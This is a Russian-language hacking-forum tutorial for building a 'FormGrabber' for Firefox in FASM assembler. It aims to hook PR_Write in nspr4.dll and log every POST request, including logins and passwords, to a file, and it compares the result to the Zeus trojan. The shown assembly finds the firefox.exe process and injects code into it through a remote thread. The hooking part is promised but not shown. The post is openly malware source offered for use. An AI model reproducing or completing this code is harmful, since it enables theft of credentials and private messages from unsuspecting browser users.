Hacked Me
Главная
Регистрация
 Administrator ICQ 399114574
По умолчанию FormGrabber для FireFox своими руками.

>>>>>>>> Внимание!!! Текс находящийся ниже описывает неописуемо бородатый баян.<<<<<<<<
>>>>>>>>>>>>Осторожно. В тексте используется нецензурная лексика на языке Assembler<<<<<<<<<<<<

Здравствуйте, дорогие низкоуровневые и высокоинтеллектуальные товарищи. Сегодня расскажу Вам, как извлечь полезную информацию из горячо любимого всеми браузера FireFox, а именно собирать всё, что отправляется POST запросом (логины,пароли,сообщения на форумах и соц.сетях и т.д.) Вывод этого имущества будет производится в файл(у нас будет C:\FireFox.txt)
Создадим конкуренцию Зевсу вить у нас получится что-то типа хэнд мэйд модуля для Лисы причём без всяких DLL. Выбирал язык для этих целей с особым извращением. В итоге выбор пал на FASM.

Наша цель:
перехватить(хукнуть) функцию PR_Write, в которую передаются в качестве параметров GET и POST запросы, а так же много чего интересного. Функция находится в DLL модуле nspr4.dll Это всё было обнаружено путём сложных астрономических вычислений и с помощью утилы API Logger by black ninja.

Для осуществления цели нам понадобиться знания тем:
1)Инжект своего кода в исполняемый процесс.
2)Cплайсинг API.
3)И программирование в стиле шелл код.(т.е. с дельта смещением)

Желание читать куда-то быстро испарилось? Не беда. Все темы хорошо описаны на wasm.ru , поэтому не вижу смысла тратить время на копи-паст. Ну чтож приступим....
Начнём с зад... извините, с конца, как принято. =)
Код:
p_ent PROCESSENTRY32 find_target: xor esi,esi .shot: mov [p_ent.dwSize],sizeof.PROCESSENTRY32 invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi; <<< Делаем снимок процессов. inc eax je .not_found dec eax xchg eax,edi invoke Process32First,edi,p_ent ; <<< Берём первый процесс из списка. ; <<<<<<< Начинается перебор пока не найдём процесс под названием firefox.exe.>>>>>>>>> .next_prc: xchg eax,ecx jecxz .not_found ; <<< В списке процессов имя FF не найдено поэтому прыгаем на .not_found invoke lstrcmpi,p_ent.szExeFile,target_name ; <<< Сравнивание название процесса и переменная в которой лежит строка "firefox.exe". xchg eax,ecx jecxz .found ; <<< Если нашли прыгаем на метку .found invoke Process32Next,edi,p_ent ; <<< Если строки не равны то берётся следующий процесс из списка. jmp .next_prc .found: ; <<< Вот она Лиса. invoke CloseHandle,edi ; <<< Закрываем хэндл. mov eax,[p_ent.th32ProcessID]; <<< Сохраняем ID процесса в eax. ret .not_found: ; <<< FF не найдена. xor eax,eax ; <<< Обнуляем результат выполнения. ret ; <<<<<<< Окончание поиска firefox.exe. >>>>>>>>> ; <<<<<<< Внедрение кода в процесс firefox.exe. >>>>>>>>> inject_code: xor esi,esi invoke OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax; <<< Берём хэндл процесса FF. xchg eax,ecx jecxz .exit ; <<< Если ошибка то выходим. xchg ecx,edi ; <<< Хэндл процесса перемещается в edi. invoke VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE ; <<< Выделяем страничку памяти в процессе. xchg eax,ecx jecxz .close_h ; <<< Если неудача то закрываем хэндл. xchg ecx,ebp ; <<< Хэндл странички перемещается в ebp. invoke WriteProcessMemory,edi,ebp,remote_thread,thread_en d-remote_thread,esi; <<< Пишем наш код на выделеную страничку. ;remote_thread - указатель на начало внедряемого кода, remote_thread соответствено конец. dec eax test eax,eax jnz .close_h ; <<< Если неудача то закрываем хэндл. inc eax invoke CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi; <<< Бацаем удаленный поток в контексте процесса firefox.exe .close_h: invoke CloseHandle,edi ; <<< Освобождаем хэндл процесса. .exit: ret ; <<<<<<< Внедрение кода в процесс firefox.exe окончено. >>>>>>>>> start: ; <<< Именно здесь начинает выполняться программа. call find_target ; <<< Активизируем поиск процесса FF test eax,eax je .exit ; <<< Не нашли -> Выходим. call inject_code; <<< Инжектимся в процесс FF. .exit: push 0 call [ExitProcess]; <<< The End... No!!! To be continue.